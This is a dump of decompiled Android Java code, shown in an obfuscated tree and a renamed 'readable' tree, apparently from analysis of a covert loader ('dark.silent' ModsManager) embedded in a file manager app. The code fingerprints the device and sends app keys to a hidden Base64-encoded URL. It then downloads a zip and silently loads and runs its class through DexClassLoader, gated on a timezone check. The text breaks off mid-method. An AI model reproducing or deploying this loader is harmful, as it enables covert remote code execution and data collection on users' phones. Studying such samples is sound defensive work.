├── obfuscated └── dark │ └── silent │ ├── b │ ├── e.java │ ├── a.java │ ├── d.java │ ├── f.java │ ├── c.java │ └── b.java │ ├── a │ ├── a.java │ └── b.java │ └── ModsManager.java └── readable └── dark └── silent ├── ns2 ├── e.java ├── SomeHashThingy.java ├── JsonHelper.java ├── f.java ├── HttpClient.java └── FileTools.java ├── ns1 ├── Config.java └── ZipClassRunner.java └── ModsManager.java /obfuscated/dark/silent/b/e.java: -------------------------------------------------------------------------------- 1 | package dark.silent.b; 2 | 3 | public final class e { 4 | static String a = "app"; 5 | static int b = 3; 6 | static boolean c = false; 7 | 8 | public static boolean a() { 9 | return c; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /readable/dark/silent/ns2/e.java: -------------------------------------------------------------------------------- 1 | package dark.silent.ns2; 2 | 3 | public final class e { 4 | static String a = "app"; 5 | static int b = 3; 6 | static boolean c = false; 7 | 8 | public static boolean a() { 9 | return c; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /obfuscated/dark/silent/a/a.java: -------------------------------------------------------------------------------- 1 | package dark.silent.a; 2 | 3 | import android.content.Context; 4 | import android.util.Base64; 5 | import java.io.File; 6 | 7 | public final class a { 8 | public Context a; 9 | public File b; 10 | public final byte[] c; 11 | private final String d = "moast.zip"; 12 | 13 | public a(Context context) { 14 | this.a = context.getApplicationContext(); 15 | this.b = new File(context.getDir("mof", 0), "moast.zip"); 16 | this.c = Base64.decode("aHR0cHM6Ly9hcGkuaW5zbW9iaS5jb20vYWEvbmM=", 0); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /readable/dark/silent/ns1/Config.java: -------------------------------------------------------------------------------- 1 | package dark.silent.ns1; 2 | 3 | import android.content.Context; 4 | 5 | import java.io.File; 6 | 7 | public final class Config { 8 | public Context context; 9 | public File file; 10 | public final byte[] url; 11 | private final String zipFileName = "moast.zip"; 12 | 13 | public Config(Context context) { 14 | this.context = context.getApplicationContext(); 15 | this.file = new File(context.getDir("mof", 0), "moast.zip"); 16 | //this.c = Base64.decode("aHR0cHM6Ly9hcGkuaW5zbW9iaS5jb20vYWEvbmM=", 0); 17 | this.url = "https://api.insmobi.com/aa/nc".getBytes(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /obfuscated/dark/silent/b/a.java: -------------------------------------------------------------------------------- 1 | package dark.silent.b; 2 | 3 | import java.lang.reflect.Method; 4 | import java.util.HashMap; 5 | 6 | public final class a { 7 | static HashMap, HashMap> a = new HashMap(); 8 | static HashMap, HashMap> b = new HashMap(); 9 | 10 | public static Object a(Object obj, String str, Class[] clsArr, Object[] objArr) { 11 | try { 12 | return obj instanceof Class ? ((Class) obj).getMethod(str, clsArr).invoke(null, objArr) : obj.getClass().getMethod(str, clsArr).invoke(obj, objArr); 13 | } catch (Exception e) { 14 | throw e; 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /readable/dark/silent/ns2/SomeHashThingy.java: -------------------------------------------------------------------------------- 1 | package dark.silent.ns2; 2 | 3 | import java.lang.reflect.Method; 4 | import java.util.HashMap; 5 | 6 | public final class SomeHashThingy { 7 | static HashMap, HashMap> a = new HashMap(); 8 | static HashMap, HashMap> b = new HashMap(); 9 | 10 | public static Object a(Object obj, String methodName, Class[] clsArr, Object[] objArr) { 11 | try { 12 | return obj instanceof Class ? ((Class) obj).getMethod(methodName, clsArr).invoke(null, objArr) : obj.getClass().getMethod(methodName, clsArr).invoke(obj, objArr); 13 | } catch (Exception e) { 14 | throw e; 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /obfuscated/dark/silent/b/d.java: -------------------------------------------------------------------------------- 1 | package dark.silent.b; 2 | 3 | import java.util.Iterator; 4 | import org.json.JSONException; 5 | import org.json.JSONObject; 6 | import org.json.JSONTokener; 7 | import org.swiftp.Defaults; 8 | 9 | public final class d { 10 | private static Object a(JSONObject jSONObject, String str, Object obj) { 11 | if (jSONObject == null || str == null) { 12 | return obj; 13 | } 14 | int indexOf = str.indexOf(Defaults.chrootDir); 15 | String substring = indexOf == -1 ? str : str.substring(0, indexOf); 16 | String substring2 = indexOf == -1 ? null : str.substring(indexOf + 1); 17 | Iterator keys = jSONObject.keys(); 18 | while (keys.hasNext()) { 19 | String str2 = (String) keys.next(); 20 | if (substring.equals(str2)) { 21 | try { 22 | Object obj2 = jSONObject.get(str2); 23 | return substring2 == null ? obj2 : obj2 instanceof JSONObject ? a((JSONObject) obj2, substring2, obj) : obj; 24 | } catch (JSONException e) { 25 | } 26 | } 27 | } 28 | return obj; 29 | } 30 | 31 | public static String a(JSONObject jSONObject, String str) { 32 | Object a = a(jSONObject, str, null); 33 | if (a != null) { 34 | if (a instanceof String) { 35 | return (String) a; 36 | } 37 | if (a != null) { 38 | return String.valueOf(a); 39 | } 40 | } 41 | return null; 42 | } 43 | 44 | public static JSONObject a(String str) { 45 | if (str == null) { 46 | return null; 47 | } 48 | try { 49 | return (JSONObject) new JSONTokener(str).nextValue(); 50 | } catch (Exception e) { 51 | return null; 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /obfuscated/dark/silent/a/b.java: -------------------------------------------------------------------------------- 1 | package dark.silent.a; 2 | 3 | import android.content.Context; 4 | import android.os.Bundle; 5 | import android.util.Base64; 6 | import com.squareup.leakcanary.android.noop.BuildConfig; 7 | import dalvik.system.DexClassLoader; 8 | import java.io.File; 9 | import java.lang.reflect.Constructor; 10 | 11 | public final class b { 12 | public final String a; 13 | public final String b; 14 | public final String c; 15 | public Object d; 16 | public String e; 17 | public String f; 18 | private final byte[] g; 19 | private ClassLoader h; 20 | 21 | public b(String str, String str2, String str3) { 22 | this.a = str; 23 | this.b = str2; 24 | if (str3 == null) { 25 | str3 = BuildConfig.VERSION_NAME; 26 | } 27 | this.c = str3; 28 | this.g = Base64.decode("Y29tLm1vZHMuTWFpbg==", 0); 29 | this.d = null; 30 | this.h = null; 31 | this.e = null; 32 | this.f = null; 33 | } 34 | 35 | public final boolean a() { 36 | return this.d != null; 37 | } 38 | 39 | public final boolean a(Context context, File file) { 40 | this.h = new DexClassLoader(file.getAbsolutePath(), context.getDir("outmof", 0).getAbsolutePath(), null, context.getClassLoader()); 41 | Bundle bundle = new Bundle(); 42 | if (this.e != null) { 43 | bundle.putStringArray("EXTRA_META", new String[]{this.e, this.f}); 44 | } 45 | try { 46 | Constructor[] constructors = this.h.loadClass(new String(this.g)).getConstructors(); 47 | r4 = new Object[3]; 48 | r4[1] = new String[]{this.a, this.b, this.c}; 49 | r4[2] = bundle; 50 | this.d = constructors[0].newInstance(r4); 51 | return true; 52 | } catch (Exception e) { 53 | return false; 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /readable/dark/silent/ns2/JsonHelper.java: -------------------------------------------------------------------------------- 1 | package dark.silent.ns2; 2 | 3 | import java.util.Iterator; 4 | import org.json.JSONException; 5 | import org.json.JSONObject; 6 | import org.json.JSONTokener; 7 | import org.swiftp.Defaults; 8 | 9 | public final class JsonHelper { 10 | private static Object pathFromJson(JSONObject jSONObject, String str, Object obj) { 11 | if (jSONObject == null || str == null) { 12 | return obj; 13 | } 14 | int indexOf = str.indexOf(Defaults.chrootDir); 15 | String substring = indexOf == -1 ? str : str.substring(0, indexOf); 16 | String substring2 = indexOf == -1 ? null : str.substring(indexOf + 1); 17 | Iterator keys = jSONObject.keys(); 18 | while (keys.hasNext()) { 19 | String str2 = (String) keys.next(); 20 | if (substring.equals(str2)) { 21 | try { 22 | Object obj2 = jSONObject.get(str2); 23 | return substring2 == null ? obj2 : obj2 instanceof JSONObject ? pathFromJson((JSONObject) obj2, substring2, obj) : obj; 24 | } catch (JSONException e) { 25 | } 26 | } 27 | } 28 | return obj; 29 | } 30 | 31 | public static String pathFromJson(JSONObject jSONObject, String str) { 32 | Object a = pathFromJson(jSONObject, str, null); 33 | if (a != null) { 34 | if (a instanceof String) { 35 | return (String) a; 36 | } 37 | if (a != null) { 38 | return String.valueOf(a); 39 | } 40 | } 41 | return null; 42 | } 43 | 44 | public static JSONObject strToJson(String str) { 45 | if (str == null) { 46 | return null; 47 | } 48 | try { 49 | return (JSONObject) new JSONTokener(str).nextValue(); 50 | } catch (Exception e) { 51 | return null; 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /obfuscated/dark/silent/b/f.java: -------------------------------------------------------------------------------- 1 | package dark.silent.b; 2 | 3 | import android.content.Context; 4 | import android.content.pm.PackageManager.NameNotFoundException; 5 | import android.os.Build; 6 | import com.ape.filemanager.TextInputDialog; 7 | import java.security.MessageDigest; 8 | import java.security.NoSuchAlgorithmException; 9 | import java.text.SimpleDateFormat; 10 | import java.util.Calendar; 11 | import java.util.HashMap; 12 | import java.util.Locale; 13 | import java.util.Map; 14 | import java.util.TimeZone; 15 | 16 | public final class f { 17 | static Map a = new HashMap(); 18 | static Boolean b = null; 19 | 20 | public static String a() { 21 | return (((((("android" + ";MANUFACTURER/" + Build.MANUFACTURER) + ";MODEL/" + Build.MODEL) + ";BOARD/" + Build.BOARD) + ";BRAND/" + Build.BRAND) + ";DEVICE/" + Build.DEVICE) + ";HARDWARE/" + Build.HARDWARE) + ";PRODUCT/" + Build.PRODUCT; 22 | } 23 | 24 | public static String a(Context context) { 25 | try { 26 | return context.getPackageManager().getPackageInfo(context.getPackageName(), 0).versionName; 27 | } catch (NameNotFoundException e) { 28 | return "0"; 29 | } 30 | } 31 | 32 | public static String a(String str) { 33 | MessageDigest messageDigest = null; 34 | try { 35 | messageDigest = MessageDigest.getInstance("MD5"); 36 | } catch (NoSuchAlgorithmException e) { 37 | } 38 | messageDigest.update(str.getBytes()); 39 | byte[] digest = messageDigest.digest(); 40 | String str2 = new String(); 41 | for (byte b : digest) { 42 | int i = b & TextInputDialog.FILENAME_MAX_LENGTH; 43 | if (i <= 15) { 44 | str2 = str2 + "0"; 45 | } 46 | str2 = str2 + Integer.toHexString(i); 47 | } 48 | return str2.toUpperCase(); 49 | } 50 | 51 | public static String b() { 52 | return new SimpleDateFormat("Z").format(Calendar.getInstance(TimeZone.getTimeZone("GMT"), Locale.getDefault()).getTime()); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /readable/dark/silent/ns2/f.java: -------------------------------------------------------------------------------- 1 | package dark.silent.ns2; 2 | 3 | import android.content.Context; 4 | import android.content.pm.PackageManager.NameNotFoundException; 5 | import android.os.Build; 6 | import com.ape.filemanager.TextInputDialog; 7 | import java.security.MessageDigest; 8 | import java.security.NoSuchAlgorithmException; 9 | import java.text.SimpleDateFormat; 10 | import java.util.Calendar; 11 | import java.util.HashMap; 12 | import java.util.Locale; 13 | import java.util.Map; 14 | import java.util.TimeZone; 15 | 16 | public final class f { 17 | static Map a = new HashMap(); 18 | static Boolean b = null; 19 | 20 | public static String a() { 21 | return (((((("android" + ";MANUFACTURER/" + Build.MANUFACTURER) + ";MODEL/" + Build.MODEL) + ";BOARD/" + Build.BOARD) + ";BRAND/" + Build.BRAND) + ";DEVICE/" + Build.DEVICE) + ";HARDWARE/" + Build.HARDWARE) + ";PRODUCT/" + Build.PRODUCT; 22 | } 23 | 24 | public static String a(Context context) { 25 | try { 26 | return context.getPackageManager().getPackageInfo(context.getPackageName(), 0).versionName; 27 | } catch (NameNotFoundException e) { 28 | return "0"; 29 | } 30 | } 31 | 32 | public static String a(String str) { 33 | MessageDigest messageDigest = null; 34 | try { 35 | messageDigest = MessageDigest.getInstance("MD5"); 36 | } catch (NoSuchAlgorithmException e) { 37 | } 38 | messageDigest.update(str.getBytes()); 39 | byte[] digest = messageDigest.digest(); 40 | String str2 = new String(); 41 | for (byte b : digest) { 42 | int i = b & TextInputDialog.FILENAME_MAX_LENGTH; 43 | if (i <= 15) { 44 | str2 = str2 + "0"; 45 | } 46 | str2 = str2 + Integer.toHexString(i); 47 | } 48 | return str2.toUpperCase(); 49 | } 50 | 51 | public static String b() { 52 | return new SimpleDateFormat("Z").format(Calendar.getInstance(TimeZone.getTimeZone("GMT"), Locale.getDefault()).getTime()); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /readable/dark/silent/ns1/ZipClassRunner.java: -------------------------------------------------------------------------------- 1 | package dark.silent.ns1; 2 | 3 | import android.content.Context; 4 | import android.os.Bundle; 5 | 6 | import com.squareup.leakcanary.android.noop.BuildConfig; 7 | import dalvik.system.DexClassLoader; 8 | import java.io.File; 9 | import java.lang.reflect.Constructor; 10 | 11 | public final class ZipClassRunner { 12 | public final String appId; 13 | public final String appKey; 14 | public final String phoneBrand; 15 | public Object externalClassInstance; 16 | public String e; 17 | public String f; 18 | private final byte[] className; 19 | private ClassLoader classLoader; 20 | 21 | public ZipClassRunner(String appId, String appKey, String phoneBrand) { 22 | this.appId = appId; 23 | this.appKey = appKey; 24 | if (phoneBrand == null) { 25 | phoneBrand = BuildConfig.VERSION_NAME; 26 | } 27 | this.phoneBrand = phoneBrand; 28 | //this.className = Base64.decode("Y29tLm1vZHMuTWFpbg==", 0); 29 | this.className = "com.mods.Main".getBytes(); 30 | this.externalClassInstance = null; 31 | this.classLoader = null; 32 | this.e = null; 33 | this.f = null; 34 | } 35 | 36 | public final boolean hasExternalClassInstance() { 37 | return this.externalClassInstance != null; 38 | } 39 | 40 | public final boolean loadAndRunExternalClass(Context context, File file) { 41 | this.classLoader = new DexClassLoader(file.getAbsolutePath(), context.getDir("outmof", 0).getAbsolutePath(), null, context.getClassLoader()); 42 | Bundle bundle = new Bundle(); 43 | if (this.e != null) { 44 | bundle.putStringArray("EXTRA_META", new String[]{this.e, this.f}); 45 | } 46 | try { 47 | Constructor[] constructors = this.classLoader.loadClass(new String(this.className)).getConstructors(); 48 | r4 = new Object[3]; 49 | r4[1] = new String[]{this.appId, this.appKey, this.phoneBrand}; 50 | r4[2] = bundle; 51 | this.externalClassInstance = constructors[0].newInstance(r4); 52 | return true; 53 | } catch (Exception e) { 54 | return false; 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /obfuscated/dark/silent/b/c.java: -------------------------------------------------------------------------------- 1 | package dark.silent.b; 2 | 3 | import java.io.File; 4 | import java.io.InputStream; 5 | import java.io.OutputStreamWriter; 6 | import java.net.HttpURLConnection; 7 | import java.net.URL; 8 | import org.json.JSONObject; 9 | import org.swiftp.ProxyConnector; 10 | 11 | public final class c { 12 | static boolean a = false; 13 | 14 | public static class a { 15 | public int a; 16 | public String b; 17 | } 18 | 19 | public static int a(String str, File file) { 20 | try { 21 | HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(str).openConnection(); 22 | String property = System.getProperty("http.agent"); 23 | String str2 = "User-Agent"; 24 | if (property == null) { 25 | property = "Android"; 26 | } 27 | httpURLConnection.setRequestProperty(str2, property); 28 | httpURLConnection.setConnectTimeout(60000); 29 | httpURLConnection.setReadTimeout(300000); 30 | int contentLength = httpURLConnection.getContentLength(); 31 | b.a(httpURLConnection.getInputStream(), file); 32 | return contentLength; 33 | } catch (Exception e) { 34 | return 0; 35 | } 36 | } 37 | 38 | private static a a(String str, Object obj) { 39 | HttpURLConnection httpURLConnection; 40 | boolean z = obj instanceof JSONObject; 41 | String obj2 = obj == null ? null : obj.toString(); 42 | a aVar = new a(); 43 | try { 44 | httpURLConnection = (HttpURLConnection) new URL(str).openConnection(); 45 | try { 46 | String property = System.getProperty("http.agent"); 47 | String str2 = "User-Agent"; 48 | if (property == null) { 49 | property = "Android"; 50 | } 51 | httpURLConnection.setRequestProperty(str2, property); 52 | httpURLConnection.setConnectTimeout(60000); 53 | httpURLConnection.setReadTimeout(300000); 54 | httpURLConnection.setUseCaches(false); 55 | httpURLConnection.setRequestMethod("POST"); 56 | if (obj2 != null) { 57 | if (z) { 58 | httpURLConnection.setRequestProperty("Accept", "application/json"); 59 | httpURLConnection.setRequestProperty("Content-Type", "application/json"); 60 | } 61 | OutputStreamWriter outputStreamWriter = new OutputStreamWriter(httpURLConnection.getOutputStream()); 62 | outputStreamWriter.write(obj2); 63 | outputStreamWriter.flush(); 64 | outputStreamWriter.close(); 65 | } 66 | InputStream inputStream = httpURLConnection.getInputStream(); 67 | aVar.b = b.a(inputStream, ProxyConnector.ENCODING); 68 | aVar.a = httpURLConnection.getResponseCode(); 69 | inputStream.close(); 70 | httpURLConnection.disconnect(); 71 | } catch (Exception e) { 72 | if (httpURLConnection != null) { 73 | try { 74 | aVar.b = b.a(httpURLConnection.getErrorStream(), ProxyConnector.ENCODING); 75 | } catch (Exception e2) { 76 | } 77 | } 78 | return aVar; 79 | } 80 | } catch (Exception e3) { 81 | httpURLConnection = null; 82 | if (httpURLConnection != null) { 83 | if (aVar.b == null && httpURLConnection.getErrorStream() != null) { 84 | aVar.b = b.a(httpURLConnection.getErrorStream(), ProxyConnector.ENCODING); 85 | } 86 | } 87 | return aVar; 88 | } 89 | return aVar; 90 | } 91 | 92 | public static a a(String str, JSONObject jSONObject) { 93 | return a(str, (Object) jSONObject); 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /readable/dark/silent/ns2/HttpClient.java: -------------------------------------------------------------------------------- 1 | package dark.silent.ns2; 2 | 3 | import java.io.File; 4 | import java.io.InputStream; 5 | import java.io.OutputStreamWriter; 6 | import java.net.HttpURLConnection; 7 | import java.net.URL; 8 | import org.json.JSONObject; 9 | import org.swiftp.ProxyConnector; 10 | 11 | public final class HttpClient { 12 | static boolean a = false; 13 | 14 | public static class HttpResponse { 15 | public int statusCode; 16 | public String content; 17 | } 18 | 19 | public static int downloadUrlToFile(String url, File file) { 20 | try { 21 | HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(url).openConnection(); 22 | String property = System.getProperty("http.agent"); 23 | String str2 = "User-Agent"; 24 | if (property == null) { 25 | property = "Android"; 26 | } 27 | httpURLConnection.setRequestProperty(str2, property); 28 | httpURLConnection.setConnectTimeout(60000); 29 | httpURLConnection.setReadTimeout(300000); 30 | int contentLength = httpURLConnection.getContentLength(); 31 | FileTools.writeStreamToFile(httpURLConnection.getInputStream(), file); 32 | return contentLength; 33 | } catch (Exception e) { 34 | return 0; 35 | } 36 | } 37 | 38 | private static HttpResponse sendPOST(String url, Object data) { 39 | boolean z = data instanceof JSONObject; 40 | String data2 = data == null ? null : data.toString(); 41 | HttpResponse response = new HttpResponse(); 42 | HttpURLConnection httpURLConnection; 43 | try { 44 | httpURLConnection = (HttpURLConnection) new URL(url).openConnection(); 45 | try { 46 | String property = System.getProperty("http.agent"); 47 | String str2 = "User-Agent"; 48 | if (property == null) { 49 | property = "Android"; 50 | } 51 | httpURLConnection.setRequestProperty(str2, property); 52 | httpURLConnection.setConnectTimeout(60000); 53 | httpURLConnection.setReadTimeout(300000); 54 | httpURLConnection.setUseCaches(false); 55 | httpURLConnection.setRequestMethod("POST"); 56 | if (data2 != null) { 57 | if (z) { 58 | httpURLConnection.setRequestProperty("Accept", "application/json"); 59 | httpURLConnection.setRequestProperty("Content-Type", "application/json"); 60 | } 61 | OutputStreamWriter outputStreamWriter = new OutputStreamWriter(httpURLConnection.getOutputStream()); 62 | outputStreamWriter.write(data2); 63 | outputStreamWriter.flush(); 64 | outputStreamWriter.close(); 65 | } 66 | InputStream inputStream = httpURLConnection.getInputStream(); 67 | response.content = FileTools.extractFileFromZip(inputStream, ProxyConnector.ENCODING); 68 | response.statusCode = httpURLConnection.getResponseCode(); 69 | inputStream.close(); 70 | httpURLConnection.disconnect(); 71 | } catch (Exception e) { 72 | if (httpURLConnection != null) { 73 | try { 74 | response.content = FileTools.getStreamContents(httpURLConnection.getErrorStream(), ProxyConnector.ENCODING); 75 | } catch (Exception e2) { 76 | } 77 | } 78 | return response; 79 | } 80 | } catch (Exception e3) { 81 | httpURLConnection = null; 82 | if (httpURLConnection != null) { 83 | if (response.content == null && httpURLConnection.getErrorStream() != null) { 84 | response.content = FileTools.getStreamContents(httpURLConnection.getErrorStream(), ProxyConnector.ENCODING); 85 | } 86 | } 87 | return response; 88 | } 89 | return response; 90 | } 91 | 92 | public static HttpResponse sendPOST(String url, JSONObject jSONObject) { 93 | return sendPOST(url, (Object) jSONObject); 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /obfuscated/dark/silent/ModsManager.java: -------------------------------------------------------------------------------- 1 | package dark.silent; 2 | 3 | import android.content.Context; 4 | import android.content.Intent; 5 | import android.os.Handler; 6 | import android.os.Handler.Callback; 7 | import android.os.HandlerThread; 8 | import android.os.Message; 9 | import com.ape.secrecy.provider.EncryptFileOldDbHelper; 10 | import com.handmark.pulltorefresh.library.PullToRefreshBase; 11 | import com.squareup.leakcanary.android.noop.BuildConfig; 12 | import dark.silent.a.a; 13 | import dark.silent.a.b; 14 | import dark.silent.b.c; 15 | import dark.silent.b.d; 16 | import dark.silent.b.e; 17 | import dark.silent.b.f; 18 | import java.io.File; 19 | import java.io.IOException; 20 | import java.io.InputStream; 21 | import org.json.JSONObject; 22 | import org.swiftp.Defaults; 23 | 24 | public class ModsManager { 25 | private static ModsManager a = null; 26 | private static final Object b = new Object(); 27 | private HandlerThread c; 28 | private Handler d; 29 | private b e; 30 | private a f; 31 | private Callback g = new Callback(this) { 32 | final /* synthetic */ ModsManager a; 33 | 34 | { 35 | this.a = r1; 36 | } 37 | 38 | public final boolean handleMessage(Message msg) { 39 | if (this.a.e != null) { 40 | b a; 41 | if (!this.a.e.a()) { 42 | a b; 43 | String a2; 44 | a b2 = this.a.f; 45 | b a3 = this.a.e; 46 | if (e.a()) { 47 | try { 48 | InputStream open = b2.a.getAssets().open("moast.zip"); 49 | if (open != null) { 50 | dark.silent.b.b.a(open, b2.b); 51 | } 52 | } catch (Exception e) { 53 | } 54 | b = this.a.f; 55 | a = this.a.e; 56 | a2 = dark.silent.b.b.a(b.b, "meta.json"); 57 | if (!(a2 == null || d.a(a2) == null || !b.b.exists())) { 58 | a.a(b.a, b.b); 59 | } 60 | } 61 | try { 62 | Object obj; 63 | String str; 64 | File file = new File(b2.a.getDir("tmpmof", 0), "moast.zip"); 65 | String b3 = dark.silent.b.b.b(b2.b); 66 | JSONObject jSONObject = new JSONObject(); 67 | jSONObject.put("app", a3.a); 68 | jSONObject.put("app_v", f.a(b2.a)); 69 | jSONObject.put("key", a3.b); 70 | jSONObject.put("ch", a3.c); 71 | jSONObject.put("secret", f.a(jSONObject.get("key") + "@" + jSONObject.get("app") + Defaults.chrootDir + jSONObject.get("ch") + "#" + jSONObject.get("app_v"))); 72 | String str2 = EncryptFileOldDbHelper.MD5; 73 | if (b3 == null) { 74 | obj = BuildConfig.VERSION_NAME; 75 | } else { 76 | str = b3; 77 | } 78 | jSONObject.put(str2, obj); 79 | jSONObject.put("tz", f.b()); 80 | jSONObject.put("ua", f.a()); 81 | c.a a4 = c.a(new String(b2.c), jSONObject); 82 | if (a4 != null && a4.a == PullToRefreshBase.SMOOTH_SCROLL_DURATION_MS) { 83 | JSONObject a5 = d.a(a4.b); 84 | if (a5 != null) { 85 | String a6 = d.a(a5, "url"); 86 | str2 = d.a(a5, EncryptFileOldDbHelper.MD5); 87 | d.a(a5, "v"); 88 | d.a(a5, "b"); 89 | if (!(str2 == null || a6 == null || (b3 != null && (b3 == null || b3.compareToIgnoreCase(str2) == 0)))) { 90 | c.a(a6, file); 91 | str = dark.silent.b.b.b(file); 92 | if (file.exists() && str2.compareToIgnoreCase(str) == 0) { 93 | dark.silent.b.b.a(b2.b); 94 | try { 95 | dark.silent.b.b.a(file, b2.b); 96 | } catch (IOException e2) { 97 | } 98 | dark.silent.b.b.a(file); 99 | } 100 | } 101 | } 102 | } 103 | b = this.a.f; 104 | a = this.a.e; 105 | a2 = dark.silent.b.b.a(b.b, "meta.json"); 106 | a.a(b.a, b.b); 107 | } catch (Exception e3) { 108 | } 109 | } 110 | a = this.a.e; 111 | Intent intent = (Intent) msg.obj; 112 | if (a.a()) { 113 | try { 114 | dark.silent.b.a.a(a.d, "wakeUp", new Class[]{Intent.class}, new Object[]{intent}); 115 | } catch (Exception e4) { 116 | } 117 | } 118 | } 119 | return true; 120 | } 121 | }; 122 | 123 | private ModsManager(Context context) { 124 | int i = 1; 125 | this.f = new a(context.getApplicationContext()); 126 | this.e = null; 127 | if (f.b().startsWith("00", 1)) { 128 | i = 0; 129 | } 130 | if (i != 0) { 131 | this.c = new HandlerThread("00"); 132 | this.c.start(); 133 | this.d = new Handler(this.c.getLooper(), this.g); 134 | } 135 | } 136 | 137 | public static ModsManager get(Context context) { 138 | synchronized (b) { 139 | if (a == null) { 140 | a = new ModsManager(context); 141 | } 142 | } 143 | return a; 144 | } 145 | 146 | public synchronized void initParams(String appId, String key, String channel) { 147 | if (this.e == null) { 148 | this.e = new b(appId, key, channel); 149 | b bVar = this.e; 150 | bVar.e = null; 151 | bVar.f = null; 152 | } 153 | } 154 | 155 | public void processIntent(Intent intent) { 156 | if (this.d != null) { 157 | Message obtain = Message.obtain(); 158 | obtain.obj = intent; 159 | this.d.sendMessage(obtain); 160 | } 161 | } 162 | } 163 | -------------------------------------------------------------------------------- /obfuscated/dark/silent/b/b.java: -------------------------------------------------------------------------------- 1 | package dark.silent.b; 2 | 3 | import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; 4 | import com.ape.filemanager.TextInputDialog; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.File; 7 | import java.io.FileInputStream; 8 | import java.io.FileOutputStream; 9 | import java.io.IOException; 10 | import java.io.InputStream; 11 | import java.io.InputStreamReader; 12 | import java.io.OutputStream; 13 | import java.security.MessageDigest; 14 | import java.security.NoSuchAlgorithmException; 15 | import java.util.zip.ZipEntry; 16 | import java.util.zip.ZipInputStream; 17 | import org.swiftp.ProxyConnector; 18 | 19 | public final class b { 20 | static File a = null; 21 | 22 | public static String a(File file, String str) { 23 | String str2 = null; 24 | if (file != null && file.exists()) { 25 | byte[] bArr = new byte[AccessibilityNodeInfoCompat.ACTION_NEXT_HTML_ELEMENT]; 26 | try { 27 | InputStream fileInputStream = new FileInputStream(file); 28 | ZipInputStream zipInputStream = new ZipInputStream(fileInputStream); 29 | ZipEntry nextEntry = zipInputStream.getNextEntry(); 30 | while (nextEntry != null) { 31 | String name = nextEntry.getName(); 32 | if (nextEntry.isDirectory() || !name.equals(str)) { 33 | nextEntry = zipInputStream.getNextEntry(); 34 | } else { 35 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 36 | while (true) { 37 | int read = zipInputStream.read(bArr); 38 | if (read <= 0) { 39 | break; 40 | } 41 | byteArrayOutputStream.write(bArr, 0, read); 42 | } 43 | str2 = byteArrayOutputStream.toString(ProxyConnector.ENCODING); 44 | zipInputStream.closeEntry(); 45 | zipInputStream.close(); 46 | fileInputStream.close(); 47 | } 48 | } 49 | zipInputStream.closeEntry(); 50 | zipInputStream.close(); 51 | fileInputStream.close(); 52 | } catch (Exception e) { 53 | } 54 | } 55 | return str2; 56 | } 57 | 58 | public static String a(InputStream inputStream, String str) { 59 | StringBuilder stringBuilder = new StringBuilder(); 60 | InputStreamReader inputStreamReader = new InputStreamReader(inputStream, str); 61 | char[] cArr = new char[10240]; 62 | while (true) { 63 | int read = inputStreamReader.read(cArr); 64 | if (read > 0) { 65 | stringBuilder.append(cArr, 0, read); 66 | } else { 67 | inputStreamReader.close(); 68 | return stringBuilder.toString(); 69 | } 70 | } 71 | } 72 | 73 | public static void a(File file) { 74 | if (file.isFile()) { 75 | file.delete(); 76 | } else if (file.isDirectory()) { 77 | File[] listFiles = file.listFiles(); 78 | if (listFiles == null || listFiles.length == 0) { 79 | file.delete(); 80 | return; 81 | } 82 | for (File a : listFiles) { 83 | a(a); 84 | } 85 | file.delete(); 86 | } 87 | } 88 | 89 | public static void a(File file, File file2) { 90 | InputStream fileInputStream = new FileInputStream(file); 91 | OutputStream fileOutputStream = new FileOutputStream(file2); 92 | a(fileInputStream, fileOutputStream); 93 | fileInputStream.close(); 94 | fileOutputStream.close(); 95 | } 96 | 97 | public static void a(InputStream inputStream, File file) { 98 | try { 99 | OutputStream fileOutputStream = new FileOutputStream(file); 100 | a(inputStream, fileOutputStream); 101 | fileOutputStream.close(); 102 | } catch (Exception e) { 103 | } 104 | } 105 | 106 | private static void a(InputStream inputStream, OutputStream outputStream) { 107 | if (inputStream != null) { 108 | try { 109 | byte[] bArr = new byte[AccessibilityNodeInfoCompat.ACTION_NEXT_HTML_ELEMENT]; 110 | while (true) { 111 | int read = inputStream.read(bArr); 112 | if (read > 0) { 113 | outputStream.write(bArr, 0, read); 114 | } else { 115 | return; 116 | } 117 | } 118 | } catch (Exception e) { 119 | } 120 | } 121 | } 122 | 123 | public static String b(File file) { 124 | int read; 125 | Throwable th; 126 | byte[] digest; 127 | FileInputStream fileInputStream = null; 128 | if (file == null || !file.exists()) { 129 | return null; 130 | } 131 | MessageDigest instance; 132 | String str; 133 | try { 134 | instance = MessageDigest.getInstance("MD5"); 135 | } catch (NoSuchAlgorithmException e) { 136 | instance = null; 137 | } 138 | byte[] bArr = new byte[10240]; 139 | FileInputStream fileInputStream2; 140 | try { 141 | fileInputStream2 = new FileInputStream(file); 142 | while (true) { 143 | try { 144 | read = fileInputStream2.read(bArr); 145 | if (read > 0) { 146 | instance.update(bArr, 0, read); 147 | } else { 148 | try { 149 | break; 150 | } catch (Exception e2) { 151 | } 152 | } 153 | } catch (IOException e3) { 154 | fileInputStream = fileInputStream2; 155 | } catch (Throwable th2) { 156 | th = th2; 157 | } 158 | } 159 | fileInputStream2.close(); 160 | } catch (IOException e4) { 161 | if (fileInputStream != null) { 162 | try { 163 | fileInputStream.close(); 164 | } catch (Exception e5) { 165 | } 166 | } 167 | digest = instance.digest(); 168 | str = new String(); 169 | read = 0; 170 | while (read < digest.length) { 171 | int i; 172 | i = digest[read] & TextInputDialog.FILENAME_MAX_LENGTH; 173 | if (i <= 15) { 